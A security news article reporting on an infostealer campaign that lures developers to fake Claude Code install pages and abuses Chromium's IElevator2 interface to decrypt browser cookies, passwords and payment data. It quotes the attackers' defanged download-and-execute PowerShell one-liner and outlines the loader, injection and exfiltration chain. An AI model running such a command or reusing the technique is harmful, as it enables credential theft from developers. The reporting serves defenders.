Security
New IElevator2 COM interface? No problem
An ongoing campaign steals developers’ secrets via fake Claude Code installers and other popular coding tools, according to Ontinue’s security researchers.
The lure – as with several other infostealer attacks targeting developers over the past several months – mimics a legitimate one-line installer for an attacker-controlled command. In this case, the command is “irm https[:]//claude[.]ai/install.ps1 | iex”, and the lure replaced the destination host with “irm events[.]msft23[.]com | iex”.
The payload is unique, and doesn’t match up with any documented malware family. It does, however, wreak havoc on developers exfiltrating decrypted cookies, passwords, and payment methods from Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, Vivaldi, and Opera.
According to the threat hunters who documented the new campaign on Monday: “We publish for peer correlation rather than attribution.”
The attacks also abuses the IElevator2 COM interface. This is Chromium’s elevation service used to handle App-Bound Encryption (ABE), specifically for encrypting and decrypting sensitive user data like cookies and passwords.
Google introduced the new interface in January to protect Chromium-based browser data from cookie thieves, who used earlier ABE bypass techniques and commodity stealers that file-copied the SQLite databases holding cookies and saved passwords.
However, crafty crooks (and security researchers) soon figured out workarounds to abuse IElevator2, as is the case with the newly spotted malware.
The attack runs across three domains, all registered within six days of each other in April, and all fronted through Cloudflare.
It relies on developers searching for “install claude code,” and selecting a sponsored result that leads to a lookalike Claude Code installation page.
The page downloads and executes Anthropic’s authentic installer – but as Ontinue’s team found, the malicious instruction isn’t stored in the file itself, but instead rendered into the HTML of the landing page.
“Automated scanners, URL reputation services, and any skeptical reviewer who simply curls the URL therefore observe clean PowerShell delivered from a Cloudflare-fronted domain bearing a valid Let’s Encrypt certificate,” the researchers wrote. “Victims, meanwhile, are presented with an entirely different command.”
The pasted command redirects victims to an obfuscated PowerShell loader that injects a native AEB helper into a live browser process. The helper’s “exclusive purpose,” we’re told, is to invoke the browser’s IElevator2 COM interface and recover the App-Bound Encryption key.
The helper formats a pipe to exfiltrate sensitive data using Chromium’s legitimate Mojo naming convention for IPC pipes. It then attempts to use IElevator2 to decrypt developer secrets, but it falls back to the legacy interface on the Elevation Service alongside the legacy IElevator if the new one doesn’t work.
Ontinue’s researchers published a full list of elevation-service identifiers, so be sure to check that out.
And after receiving the ABE key from the helper, the PowerShell loader decrypts the local browser databases and sends the stolen data to an attacker-controlled server via an in-memory secure_prefs.zip archive.
The malware hunters say that they compared the malware against published reporting for the several stealers – including Lumma, StealC, Vidar, EddieStealer, Glove Stealer, Katz Stealer, Marco Stealer, Shuyal, AuraStealer, Torg Grabber, VoidStealer, Phemedrone, Metastealer, Xenostealer, ACRStealer, DumpBrowserSecrets, DeepLoad, and Storm – and found no technical match.
The closest is Glove Stealer, first documented by Gen Digital in November 2024, which also abuses IElevator via a helper module communicating over a named pipe. The orchestration model, however, differs from Glove in that it uses a “small native helper acting as a single-purpose ABE oracle, with all detection-visible activity pushed into PowerShell.”
According to the research team, this split matters for defenders because “behavioral rule sets that look at the native PE in isolation will see nothing actionable,” as they wrote. “Detection has to land at the COM call and at the PowerShell layer.” ®
